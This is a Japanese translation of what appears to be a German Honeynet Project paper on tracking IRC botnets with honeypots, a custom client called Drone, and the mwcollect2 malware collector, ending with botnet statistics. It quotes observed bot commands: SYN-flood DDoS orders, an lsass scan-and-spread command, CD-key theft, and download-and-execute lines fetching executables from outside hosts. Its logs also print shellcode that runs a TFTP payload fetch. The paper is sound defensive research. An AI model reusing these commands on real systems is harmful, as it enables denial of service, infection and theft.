この章ではハニーポットをつかってどのようにしてbotnetを検知し観測したのかについて紹介する。botnetを追跡するにはいくつかの段階を踏む必要がある。まず現存するbotnetに関するデータを集める。これは、たとえば採取したマルウェアの解析などから得ることができる。その後ネットワークでクライアントを引っかけてさらなる情報を取得する。この章の最初の部分で、私たちがハニーポットを使って重要な情報を得た技術について紹介する。そして、botnet観測方法について述べる。

Getting information with the help of honeynets

私たちがbotnetの観測をしていることを公に宣言する以前、私たちはbotnetに私たちの偽のbotを配置するのに必要な情報が必要であった。これらの情報は以下の通りである:

  • IRCサーバのDNS/IP-アドレスとポート番号
  • (オプション) IRCサーバに接続するためのパスワード
  • botのニックネームと識別の為の構造
  • 参加するチャンネルと (オプション)チャンネルのパスワード

GenII HoneynetによるWIndowsのハニーポットとsnort_inlineを使うことによってこれらの情報を収集することができた。一般的なGenII ハニーネットに少しだけ改良を加えて以下のようなシステムを構築した:

WindowsハニーポットはパッチをあてていないWIndows2000かWIndowsXPを使用する。このシステムは攻撃に対して非常に脆弱でありほんの数分で攻撃されてしまう。ドイツのISPのダイアルインネットワークにこのシステムを配置した。平均的にハニーポットの生存時間は10分以内だと思われる。たったこれだけの時間でハニーポットは無事自動のマルウェアの感染に成功する。たった数秒で感染することもある。プラグをネットワークケーブルにつないだとたんにSDBotがTCP 135番ポートの脆弱性を突いてマシーンに侵入し自分自身をマシーンにインストールした。

前章で説明したように、ハニーポットの攻撃に成功したらIRCサーバに接続しさらなるコマンドを得ようとする。ここでハニーウォールの出番となる。ハニーウォールにはデータコントロールの機能が備えてあるので外向きのトラフィックをコントロールすることができる。私たちはデータコントロールにsnort_inlineを使用し、外向きの怪しい接続をすべて切った。疑わしい接続はIRCのメッセージに特有の"332"や"TOPIC"、"PRIVMSG"、"NOTICE"といった語句を含んでいる。これで、私たちはマスターチャンネルからのコマンドを抑制することができる。これによって他人に全く迷惑をかけることはない。これで私たちのハニーネットにbotを取り込めた。 さらに、この時点でbotnetに必要な情報のすべてを得ることができた。ハニーウォールのデータキャプチャ機能によってbotが接続したいDNS/IPアドレスがわかったしポート番号もわかった。さらに、データキャプチャのログによってニックネームと識別情報がわかった。さらにサーバーのパスワード、チャンネル名、ついでにチャンネルパスワードもこの方法で取得することができた。つまり、私たちは重要な情報のすべてを得られた上にハニーポットがマルウェアまで取得してくれたのである。マルウェアの取得に私たちはあまり関心がないので、私たちは24時間毎にハニーポットを再構築し毎日"綺麗な"システムにしている。The German Honeynet Projectではマルウェアの採取およびペイロードの解析も行っている。しかし、これについては後で説明する。

Observing Botnets

さて、次のステップである。私たちはbotnetに再接続したい。重要な情報はすべて持っている。最初のアプローチは、irssi(コンソールベースのIRCクライアント)をセットアップしてみる、もしくはほかのIRCクライアントをセットアップしてみてネットワークにつないでみることである。もしもbotnetが比較的小さい規模(50クライアント以下)のであれば、有効なコマンドに対して返事をしないので、あなたのクライアントがオペレーターにばれてしまう可能性がある。この場合、botnetのオペレータは疑わしいクライアントを禁止するかDDoS攻撃を行う。見つからないようにするには、隠れてしまえばいい。鍵となるコマンドに対する自動応答をすべてオフにしていしまうことでなんとかなる。もしbotnetのオペレーターがあなたに気づかなかったらコマンドのログをすべてとれるので何が起こっているのか観測することができる。

しかし、この方法だと多くの問題がある。いくつかのbotnetはIRCdから極度に不要な部分を削除してしまっていて、RFCに準拠していないIRCdを使っている場合があり、普通のIRCクライアントだと接続できない場合がある。この場合私たちがとるべき行動は、オペレーターがどこを削除しているか探しだし、クライアントのソースコードを改造していくしかない。現在のほとんどすべてのIRCクライアントは綺麗にコードが書かれてなかったり、どこかに欠点があったりする。だから恐らくbotnetを追跡するためには、結局自分でIRCのクライアントを書くことになる。私たちが作ったクライアントはDroneという名前で呼ばれている。自前のIRCクライアントを書く場合、いくつか注意しなくてはいけない罠がある。私たちがbotnetを追跡するIRCクライアント作りで便利だと思った機能のいくつかを以下に紹介する。

  • SOCKS v4 サポート
  • Multi-server サポート: それぞれのbotnetでいちいちソフトを立ち上げたく無い場合、この機能があれば便利である。
  • No Threading: スレッドを使うソフトはデバッグが難しい。
  • Non-blocking connecting and DNS resolve
  • poll(): イベントの発生を待つ。多重化する必要がある。select()でも同じことができる。
  • libadns: これは非同期式DNS解決ライブラリである。ホストネームを調べるときに、調査に時間がかかるとしてもコードの実行を止めない。スレッドを使わないと決めた場合このライブラリは重要となる。
  • Multi-serverを書く場合オブジェクト指向は非常に便利なのでC++でコードを書く
  • モジュラーインターフェースを使う
  • libcurl: これはURLの構文でファイル転送を行うコマンドラインツールで、様々なプロトコルをサポートしている。libcurlはコマンドラインツールと同じ機能を提供するライブラリである。
  • Perl Compatible Regular Expressions (PCRE): PCREライブラリは正規表現によるパターンマッチングを行うライブラリである。PCREによってクライアントにコマンドの意味を予測させたりネイティブで何か行動させる場合に使用する。
  • 過度のデバッグ-ロギングインターフェースを備える。これによってRFCに準拠していない物に関する情報を非常に素早く得ることができ、クライアントの改善につながる。(ちなみに……: 50のbotnetからでるデバッグ情報は500MBを超える。).

DroneはSOCKS v4プロキシを使うことができるので、botnet中で攻撃者に自分の存在を気づかれても問題は起きない。SOCKS v4プロキシは違ったネットワークのダイアルインアカウントを使っているので簡単にIPアドレスをかえることができる。Drone自身は私たちが管理している独立したマシーンで動いている。私たちはシェルやプロキシを提供してプロジェクトに貢献してくれたすべての人に感謝する。とあるアンチウィルスの会社がbotnetに関するデータを発表した。便利ではあるが、この情報ではbotnetを追跡するのに不十分であった。データの内容はBotnet Vendorsに示す。

時々botnetのオーナーはbotに命令を与えるためにコマンドを打つ。前章でよく使われるコマンドについて説明した。私たちの方法を使えば打たれたコマンドを監視することができ、さらに攻撃者の動機についてより詳しく知ることができる。さらに私たちの方法を発展させPCREベースでbotをエミュレートするようにしてみた。つまり、私たちのクライアントは攻撃者からのコマンドに対して正しく返答をするようになった。しかし、私たちはゴールをすこし小さくした。なぜかと言うと攻撃者は非常に頻繁にコマンドを変えるためbotnetでの標準的なコマンドというものは存在しないからである。多くの場合、コマンドに対する返答は攻撃者の母国語に翻訳されている、というのも理由の一つである。

二つ以上のネットワークを監視する場合、そのうちのどれがリンクしているかを調べて、可能ならそれらをグループわけするべきだ。リンクのチェックは簡単ですべてのネットワークの特定のチャンネルに参加して一つ以上のクライアントがそこにいるかどうかを調べればよい。これほど多くのネットワークがリンクしているのかと驚く。彼らが調べたすべてのバージョンのbotにDNS名かチャンネル名をつける傾向がある。攻撃者についてもっと知りたければ、攻撃者のニックネームをGoogle searchに入れてみるといい。すると多くの情報が得られることに驚く。最後に、サーバーのRegional Internet Registries (RIR) エントリ(RIPE NCCARINAPNICLACNIC)を調べてみるといい。すると攻撃者について更に知ることができる。

Lessons Learned

本章ではbotnetの観測を通して得た発見について述べる。データは不適切な部分を削除しているので特定のシステムに対する特定の攻撃に関する結論となることはないし、関係者のプライバシーは守られている。また、この文書で集められてデータはドイツの German Honeynet Projectで集められたもので特定の攻撃に関する情報や侵入されたシステムに関する情報はドイツ、ハンブルグのDFN-CERT(Computer Emergency Response Team) にある。最近数ヶ月で観測したbotnetの統計的情報についてのべる。

    • Number of botnets
    • 最近4ヶ月で100程度のbotnetを追跡することができた。それらのいくつかは"死んで"(例えばIRCサーバが落ちたもしくは不慣れな攻撃者など)で、現在35の活動中のbotを監視している。
    • Number of hosts
    • この数ヶ月の間で、私たちが監視しているチャンネルのどれかに参加したIPアドレスは226585に上る。IPを見るというここでの意味は、IRCdが参加クライアントに対してJOINメッセージを送らないように改造されていないことを表す。もしもIRCdが参加しているクライアントがわからなくなるように改造してあれば、ここでIPアドレスを見ることはできない。さらに、いくつかのIRCdは参加しているクライアントのIPアドレスを不明瞭にするものがあり、不明瞭なIPアドレスは見えているIPアドレスにカウントしない。これが何を表しているかというと、botnetの脅威は予想以上に大きいということである。かなり適当にbotnetの数を試算し、私たちが追跡しているすべてのIRCサーバがJOINメッセージを隠したり、IPアドレスを不明瞭にしたりいしないようには改造されていないので、おそらく100万ホスト以上にbotが侵入しており、悪意のある攻撃者によって使用される可能性があることを示している。参加しているユーザの情報を改造されたIRCサーバが全く表示しないような物を攻撃者が使っていることから、さらに多くのbotnetクライアントが存在することがわかっている。
    • Typical size of Botnets
    • いくつかのbotnetは数百のbotから構成されている。これに対して、5万ホストにも及ぶ巨大なbotnetも私たちは観測している。このような巨大なbotnetの本当のサイズを計算することは難しい。攻撃者は多くの場合極度に改造されたIRCサーバを使い様々なIRCサーバを経由してbotをばらまいている。私たちはIRCd同士のつながりをチェックして、違うbotnet同士が相互に接続接続して巨大なbotnetを形成しているのを検知している。これから実際のサイズに近似している。数百数千ものホストにまたがるbotnetが報告されていることを覚えておいて欲しい。botnetが5つのIRCサーバのリンクから構成される場合、IRCdのソフトが改造されていて正確な数を決定することができないので単に"非常に大きい"としか表すことができない。ちなみに、私たちは家庭用パソコンで16もの別々のbotに感染しているものを知っているのでbotに感染している人の人口を計算することはかなり難しいだろう。
    • Dimension of DDoS-attacks
    • 私たちは経験に基づく推測によりbotnetが起こすDDoS攻撃の規模を予測することができる。私たちは制御者によって打たれるコマンドを監視することによっていつでもそのような攻撃を検知することができる。2004年の11月から2005年の終わりまでに99のIPに対して226のDDoS攻撃を検知した。これらの攻撃の多くはダイアルアップラインを狙っているが、巨大なwebサイトを狙った攻撃もある。このような攻撃を発見する為に別のページにこのようなDDoS攻撃のデータの収集結果を公開している。
      • 典型的なDDoS攻撃は次の例のようなものである。制御者がチャンネルに入りコマンドを打つ(時々、botの拡散を止めることもある)。botはジョブが終わったら各botの状況について報告を行う。
      • [###FOO###] <~nickname> .scanstop [###FOO###] <~nickname> .ddos.syn 151.49.8.XXX 21 200 [###FOO###] <-[XP]-18330> [DDoS]: Flooding: (151.49.8.XXX:21) for 200 seconds [...] [###FOO###] <-[2K]-33820> [DDoS]: Done with flood (2573KB/sec). [###FOO###] <-[XP]-86840> [DDoS]: Done with flood (351KB/sec). [###FOO###] <-[XP]-62444> [DDoS]: Done with flood (1327KB/sec). [###FOO###] <-[2K]-38291> [DDoS]: Done with flood (714KB/sec). [...] [###FOO###] <~nickname> .login 12345 [###FOO###] <~nickname> .ddos.syn 213.202.217.XXX 6667 200 [###FOO###] <-[XP]-18230> [DDoS]: Flooding: (213.202.217.XXX:6667) for 200 seconds. [...] [###FOO###] <-[XP]-18320> [DDoS]: Done with flood (0KB/sec). [###FOO###] <-[2K]-33830> [DDoS]: Done with flood (2288KB/sec). [###FOO###] <-[XP]-86870> [DDoS]: Done with flood (351KB/sec). [###FOO###] <-[XP]-62644> [DDoS]: Done with flood (1341KB/sec). [###FOO###] <-[2K]-34891> [DDoS]: Done with flood (709KB/sec). [...]
    • つぎの二つの攻撃は両方ともDDoS攻撃の典型的な例である: FTP サーバの21番TCPポートもしくは IRCサーバのTCP6667番ポート.
    • Spreading of botnets
    • ".advscan lsass 150 5 0 -r -s" と他のコマンドが最も多く観測されたメッセージである。これやこれに似たコマンドはbotが拡散したり、脆弱なシステムを探したりする。一般的に、Windowsシステムがよく攻撃さるためもっとも多く観測するトラフィックはWIndowsに典型的なポート(例えばCIFSベースのファイル共有など)を使用している。私たちはこれに関する詳細な報告を spreading of botsに書いている。
    • Harvesting of information
    • ときどき私たちはすべての侵入されたマシーンからの情報を収集している。".getcdkeys"のようなコマンドによってbotnetのオペレーターはすべてのbotからCD-key(例:Widowsやゲーム)のリストを得ることができる。このCD-keyは有益な情報なのでクラッカーに打ったり、攻撃者自身で使ったりする。このようなオペレーターは希である。
    • "Updates" within botnets
    • botnetはかなり頻繁にアップデートを行っていることを私たちは観測している。ここでのアップデートの意味はインターネットとから何かのファイルをbotがダウンロードして実行するような命令を受けることである。例えば以下のようなコマンドを含む:
      • .download http://spamateur.freeweb/space.com/leetage/gamma.exe c:蛔dエwindows蛔dエconfig蛔dエgamma.exe 1 .download http://www.spaztenbox.net/cash.exe c:蛔dエarsetup.exe 1 -s !down http://www.angelfire.com/linuks/kuteless/ant1.x C:蛔dエWINDOWS蛔dエsystem32蛔dエdrivers蛔dエdisdn蛔dエanti.exe 1 ! dload http://www.angelfire.com/linuks/kuteless/ant1.x C:蛔dエfirewallx.exe 1 .http.update http://59.56.178.20/~mugenxur/rBot.exe c:蛔dエmsy32awds.exe 1 .http.update http://m1cr0s0ftw0rdguy.freesuperhost.com/jimbo.jpg %temp%蛔dエvhurdx.exe -s
      • (注意:リンクは私たちが改ざんを行っているので上のコードはダウンロードや実行を行うものではない)
      • みてわかるように、攻撃者は様々なwebを使っており、バイナリのダウンロードをわかりにくくしている。コマンドの"1"というパラメータはbotにダウンロードしたバイナリを一回だけ実行するように命令している。この方法でbotは動的にアップデートされ、さらに増えていく。私たちはbotがダウンロードしたマルウェアを集め、可能ならば解析を行っている。全部で329のバイナリを集めた。このうち201のファイルはマルウェアで "Kaspersky Anti-Virus On-Demand Scanner for Linux" で次のように示してある:
      • 28 Backdoor.Win32.Rbot.gen 27 Backdoor.Win32.SdBot.gen 22 Trojan-Dropper.Win32.Small.nm 15 Backdoor.Win32.Brabot.d 10 Backdoor.Win32.VB.uc 8 Trojan.WinREG.LowZones.a 6 Backdoor.Win32.Iroffer.b 5 Trojan.Win32.LowZones.q 5 Trojan-Downloader.Win32.Small.qd 5 Backdoor.Win32.Agobot.gen 4 Virus.Win32.Parite.b 4 Trojan.Win32.LowZones.p 4 Trojan.BAT.Zapchast 4 Backdoor.Win32.Wootbot.gen 4 Backdoor.Win32.ServU-based 4 Backdoor.Win32.SdBot.lt 3 Trojan.Win32.LowZones.d 3 Trojan-Downloader.Win32.Agent.gd 2 Virus.BAT.Boho.a 2 VirTool.Win32.Delf.d 2 Trojan-Downloader.Win32.Small.ads 2 HackTool.Win32.Clearlog 2 Backdoor.Win32.Wootbot.u 2 Backdoor.Win32.Rbot.af 2 Backdoor.Win32.Iroffer.1307 2 Backdoor.Win32.Iroffer.1221 2 Backdoor.Win32.HacDef.084 1 Trojan.Win32.Rebooter.n 1 Trojan.Win32.LowZones.ab 1 Trojan.Win32.KillFiles.hb 1 Trojan-Spy.Win32.Quakart.r 1 Trojan-Proxy.Win32.Ranky.aw 1 Trojan-Proxy.Win32.Agent.cl 1 Trojan-Downloader.Win32.Zdown.101 1 Trojan-Downloader.Win32.IstBar.gv 1 Trojan-Downloader.Win32.IstBar.er 1 Trojan-Downloader.Win32.Agent.dn 1 Trojan-Clicker.Win32.Small.bw 1 Trojan-Clicker.Win32.Agent.bi 1 Net-Worm.Win32.DipNet.f 1 HackTool.Win32.Xray.a 1 HackTool.Win32.FxScanner 1 Backdoor.Win32.Wootbot.ab 1 Backdoor.Win32.Wisdoor.at 1 Backdoor.Win32.Spyboter.gen 1 Backdoor.Win32.Rbot.ic 1 Backdoor.Win32.Rbot.fo 1 Backdoor.Win32.Optix.b 1 Backdoor.Win32.Agent.ds
    • これ以外のバイナリファイルのほとんどがアドウェア(広告を目的としたソフトウェア)かプロキシサーバ(コンピュータのプロセスでクライアントとサーバコンピュータの中継を行う)もしくはBrowser Helper Objectsである。

誰か他の人のbotnetを他の人が盗むという普通でない状況もおきる。何人かの攻撃者が競い合っているのは観測していて面白い。これに気づく以前、botはいくつかの情報(例えばチャンネル名やサーバのパスワード)に対してセキュアであった。もしもある人がこれらの情報を全部もっていると、他のbotnetでbotをアップデートしてbotのバイナリを取り替えて、他人のbotnetを自分のものにしてしまうことができる。例えば、少し前私たちはbotnet#12の制御者が別のbotnet#25を奪ったのを観測した。

最近、私たちが監視しているbotnetの一つでとても珍しいアップデートを行うものがあった。すべては順調にいっており、botnetのマスターは認証に成功し、コマンドを打って新しいファイルをダウンロードし実行した。私たちのクライアントであるdroneもファイルをダウンロードし解析した。私たちは特別に用意したニックネーム、識別子、ユーザ情報をセットアップした。しかし、私たちのクライアントはIRCサーバのチャンネルにアクセスすることができなかった。最初のニックネームがIRCdソフトウェアからはじかれるようになっていた。これによって攻撃者は3000ものbotを一気に失った。

非常に興味深い、しかしよく見るのは、botnetのオーナーがその運用方法について自分のチャンネルで議論していることである。これによって、私たちは多くのことを学び、彼らの普段の生活の一部について少しずつわかってきた。私たちはbotnetを自分のサーバで運用しシェルのホスティングを行って、さらにDDoSを行っている攻撃者を観測した。これらの人々は同じbotnetのニックネームをつかって他のIRCネットワークでもbotnetを使えるようにしている。さらに、このようなbotnetを運用している人々は、彼らは無料で匿名のウェブスペースを使用しないでbotnetのアップデートを行うため、こうした場で様々な情報交換を行っている。これらの人々は技術が未熟な人でもbotnetを運用できるような詳しいデモンストレーションを行っている。

私たちの観測でわかったのは、botnetを運用しているのは若い男性が多く、彼らは驚くほど限定されたプログラミングのスキルしかもっていなかった。フォーラムでは「どうやってコンパイルするの?」といったようなメッセージでいっぱいだった。こういった人々はbotを非常に多く拡散するが彼らの行動ではあまり被害はない。それだけでなく、私たちはもっと上級の攻撃者も観測した。これらの人々はコントロールチャンネルにほとんどアクセスしない。かれらは1つだけキャラクターのニックネームを持ち、コマンドを発行し、その後離れる。かれらのbotのアップデートは非常に専門的である。おそらくこれらの人々はbotnetを商売として使って、サービスを"販売"しているのであろう。このようにbotnetを金儲けに使う例は少ない。botnetを運用している人のうち非常に高い技術を持っている人は少ない。彼らはIRCdソフトウェアをRFCに準拠しないようにそぎ落とし、普通のIRCクライアントでは接続できないようにしている。

他の可能性は情報を盗む為に特別なソフトウェアをインストールすることである。私たちが観測した興味深いものは、攻撃者がDiablo 2のアイテムを脆弱なマシーンから盗みeBayで売っていたというものである。Diablo 2はオンラインゲームで強いアイテムを集めることによってキャラクターを強くしていくゲームである。レアなアイテムほど eBayで高い値段が付く。eBay で Diablo 2で検索した結果これらのアイテムは攻撃者になかなかいい利益を与えていることがわかる。いくつかのbotnetはスパムの送信をおこなっていし、しかもこのbotnetを借りることもできる。オペレーターはSOCKS v4のサーバリストを提供していて、ホストのIPアドレスとポート番号が書いてある。スパマーがbotnetをスパム送信サーバとして購入したという記録がある。 "Uncovered: Trojans as Spam Robots "。攻撃者がソフトウェアをインストールした例をcaptured exampleにのせてある。

Further Research

私たちがいま行っているbotnetの追跡はマルウェアの収集である。German Honeynet Projectで行っているプロジェクトmwcollect2はマルウェアを簡単かつ自動化された方法で"集める"プログラムを開発している。mwcollect2は動的に統合的にリンクされたモジュールから構成される:

  • Vulnerability modules: これは脆弱なポート(例えば135番ポートや2745番ポート)のいくつかを開けこれらのポートの脆弱性についてシミュレートする。
  • Shellcode parsing modules: このモジュールは他のモジュールによって読まれた一般的なURLの脆弱性から受けたシェルコードを返す
    • (原文 : These modules turn the shellcodes received by one of the vulnerability modules in generic URLs to be fetched by another kind of module.)
  • Fetch modules:これは特定のURLからただファイルをダウンロードするモジュールである。このURLはHTTPやFTPである必要はなくTFTPや他のプロトコルでもよい。

現在、mwcollect2はいくつかの脆弱性をシミュレートする機能がある。つぎの二つの例はソフトウェアの実行例である。最初の例はmwcollect2がTCP135番ポートの脆弱性のシミュレートでマルウェアのの一部を自動的に取得する。

mwc-tritium: DCOM Shellcode starts at byte 0x0370 and is 0x01DC bytes long. mwc-tritium: Detected generic XOR Decoder, key is 12h, code is e8h (e8h) bytes long. mwc-tritium: Detected generic CreateProcess Shellcode: "tftp.exe -i XXX.XXX.XXX.XXX get cdaccess6.exe" mwc-tritium: Pushed fetch request for "tftp://XXX.XXX.XXX.XXX/cdaccess6.exe". mwc-tritium: Finished fetching cdaccess6.exe

次の例はソフトウェアがBagle wormのバックドアが仕掛けられているように見せかけるプログラムである。ここでもmwcollect2はマルウェアの取得に成功した。

mwc-tritium: Bagle connection from XXX.XXX.XXX.XXX:4802 (to :2745). mwc-tritium: Bagle session with invalid auth string: 43FFFFFF303030010A2891A12BE6602F328F60151A201A00 mwc-tritium: Successful bagle session, fetch "ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe". mwc-tritium: Pushed fetch request for "ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe". mwc-tritium: Downloading of ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe (ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe) successful.

下のリストはこの効果性について示している。:

7x mwc-datasubm.1108825284.7ad37926 2005-02-19 16:01 CET 71de42be10d1bdff44d872696f900432 1x mwc-datasubm.1108825525.4a12d190 2005-02-19 16:05 CET e8b065b07a53af2c74732a1df1813fd4 1x mwc-datasubm.1108825848.7091609b 2005-02-19 16:10 CET 48b80b4b6ad228a7ec1518566d96e11e 2x mwc-datasubm.1108826117.20bf1135 2005-02-19 16:15 CET c95eb75f93c89695ea160831f70b2a4f 78x mwc-datasubm.1108826639.4a2da0bb 2005-02-19 16:23 CET 42cbaae8306d7bfe9bb809a5123265b9 19x mwc-datasubm.1108826844.36d259cc 2005-02-19 16:27 CET b1db6bbdfda7e4e15a406323bea129ce 3x mwc-datasubm.1108827274.77b0e14b 2005-02-19 16:34 CET fbd133e3d4ed8281e483d8079c583293 3x mwc-datasubm.1108827430.3c0bb9c9 2005-02-19 16:37 CET 7711efd693d4219dd25ec97f0b498c1f 4x mwc-datasubm.1108828105.6db0fb19 2005-02-19 16:48 CET 23fde2e9ebe5cc55ecebdbd4b8415764 29x mwc-datasubm.1108828205.11d60330 2005-02-19 16:50 CET 8982e98f4bde3fb507c17884f60dc086 2x mwc-datasubm.1108828228.500c4315 2005-02-19 16:50 CET d045f06f59ae814514ab329b93987c86 1x mwc-datasubm.1108828305.7c2a39a8 2005-02-19 16:51 CET 556779821a8c053c9cc7d23feb5dd1d4 34x mwc-datasubm.1108828311.655d01da 2005-02-19 16:51 CET de53892362a50b700c4d8eabf7dc5777 1x mwc-datasubm.1108828418.178aede3 2005-02-19 16:53 CET 2a4d822c2a37f1a62e5dd42df19ffc96 1x mwc-datasubm.1108828822.466083aa 2005-02-19 17:00 CET 2c1f92f9faed9a82ad85985c6c809030 1x mwc-datasubm.1108829309.705a683c 2005-02-19 17:08 CET be4236ffe684eb73667c78805be21fe6 11x mwc-datasubm.1108829323.4f579112 2005-02-19 17:08 CET 64cfefc817666dea7bc6f86270812438 1x mwc-datasubm.1108829553.56e1167d 2005-02-19 17:12 CET 5ab66fae6878750b78158acfb225d28f 11x mwc-datasubm.1108830012.4bbdedd9 2005-02-19 17:20 CET 05b691324c6ce7768becbdba9490ee47 1x mwc-datasubm.1108830074.1ca9565f 2005-02-19 17:21 CET e740de886cfa4e1651c3b9be019443f6 98x mwc-datasubm.1108830171.6ea1f079 2005-02-19 17:22 CET 3a0ab2b901f5a9e1023fa839f8ef3fe9 1x mwc-datasubm.1108830729.50dbf813 2005-02-19 17:32 CET f29797873a136a15a7ea19119f72fbed 1x mwc-datasubm.1108831490.3cd98651 2005-02-19 17:44 CET a8571a033629bfad167ef8b4e139ce5c 13x mwc-datasubm.1108832205.5eef6409 2005-02-19 17:56 CET d202563db64f0be026dd6ba900474c64

ダイアルインネットワークのおかげで私たちは2時間で24種類、324個のバイナリの取得に成功した。マルウェアの独自性はmd5sum(MD5メッセージのチェックを行うツール)を使用して計算した。

mwcollect2を使ってbotを収集するの利点はその安定性にあることは明らかである:botが侵入しようとするWindows2000が動いているハニーポットとWindows XPの為のjmp ebx オフセットを含んでいるものは明らかにサービスをクラッシュさせる。ほとんどの場合、ハニーポットはリブートさせられてしまう。これに対してmwcollect2は上手に侵入されるのでたくさんのバイナリを収集することができる。さらに、mwcollect2は導入が簡単で、ただmakeコマンドを実行するだけで収集を開始することができる。しかし、収集したバイナリは手動で解析を行わなくてはならない。IRCに関係のあるトラフィックをフィルタリングするsnort_inlineを使ったHoneywallの後ろに設置したハニーウォールは侵入されたあと自動的にdroneの盗聴を開始する。

現在dronemwcollectdもまだリリースしていない。これらはまだベータ版だと考えており、目下開発中である。さらなる情報はGerman Honeynet Projectにアクセスしてほしい。

Conclusion

この文書ではbotnetがどのように動くか、botnetの脅威、どのように攻撃者がbotnetをコントロールするかを理解するのにhoneynetがどのように役に立つかについて述べた。私たちは一部の攻撃者が非常に高度な技術をもち連携をとっていることを示し、潜在的によく整理された犯罪の構造を持っていることを示した。幾千ものbotの勢力は、どのようなwebサイトやネットワークでもすぐに倒すことができる。技術力が低い人にとってもbotnetは強力な武器となる。botnetはこのように非常に協力かつ驚異的であるため、これらに対抗する手段が必要である。

Akamaiのような分散化はすこしの冗長性を与えてくれるが、非常に大きな数のbotnetはこの冗長性でも深刻な脅威となる。Akamaiを落とすことは非常に多くの団体や会社に衝撃を与える。恐らくそのような団体や個人はターゲットとなる可能性が高いであろう。我々はまだbotnetが軍や政府の研究所に被害を与えたという情報は聞いていないが時間の問題であろう。

将来、私たちはbotnetのような脅威に関する情報を集めるのに有益なハニーポットを開発したいと思っている。例えばクライアントハニーポットのようなネットワークにどんどん入っていくようなもの(例えばウェブをクローリングしたり、IRCチャンネルであったり、P2Pを使用したりする)やハニーポットを改造してマルウェアを捕獲しさらなる解析を行う為にアンチウィルス会社にそれを送りつけるようにしたりするものを作りたい。私たちは制御の為にIRCを使うbotに焦点を当てたため、IRCベースbotの論文にフォーカスを当てた。私たちは他のbotも発見したが、これらは希であり現在開発中である。数ヶ月、数年の間にIRCを使用しないbotが増えていくだろう。恐らくP2Pなどが利用されると思われる。だから、この分野のさらなる研究が必要であり、攻撃者は眠らない。この脅威は更に増えていくし、どんどん変わっていくのでセキュリティの上で非常に重要である。